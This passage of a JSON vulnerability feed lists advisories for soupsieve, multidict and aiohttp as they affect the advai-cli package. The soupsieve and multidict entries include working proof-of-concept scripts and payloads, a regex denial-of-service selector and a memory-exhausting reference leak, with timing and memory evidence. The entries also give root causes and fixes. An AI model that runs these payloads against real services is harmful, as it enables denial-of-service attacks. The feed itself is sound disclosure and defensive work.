embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel)\n        status = \"ok\"\n    except Exception as e:\n        status = type(e).__name__\n    return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n   (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n    dt, st = compile_time(\"[a=\" + \"a\" * n)\n    print(f\"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = compile_time(\"a\" * n + \"!\")\n    print(f\"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n   (unterminated attribute value)\n  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]\n  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]\n  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]\n  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\n  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]\n  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]\n  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]\n  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)\n[+] wall time = 18.28 s   [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]\n  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]\n  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]\n  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86000"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]}],"advai-cli":[{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-104874","published":"2026-10-06T08:48:16Z","modified":"2026-10-16T08:47:20Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874","PYSEC-2026-4244"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@6.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"6.9.1","key":"pkg:pypi/multidict@6.9.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111063","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111064","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111065","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111066","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111748","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111749","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-111750","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128124","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","upstream":["GHSA-jm3w-gw2p-xjfj","CVE-2026-128124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Event loop stall in add_domain() wildcard matching","details":"### Summary\n\n`Application.add_domain()` compiled each `*` in a host mask to `[^:]*`. With two or more wildcards in a mask, matching a long `Host` header that does not match the mask took polynomial time on the event loop.\n\n### Impact\n\nAn attacker could stall a server that registers a domain mask with more than one wildcard by sending requests with a long `Host` header.\n\n### Workaround\n\nUse at most one `*` in a domain mask.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jm3w-gw2p-xjfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128124"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13943"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13945"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/766b882820da0651c84090e366a3b024b4a263c9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128125","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","ups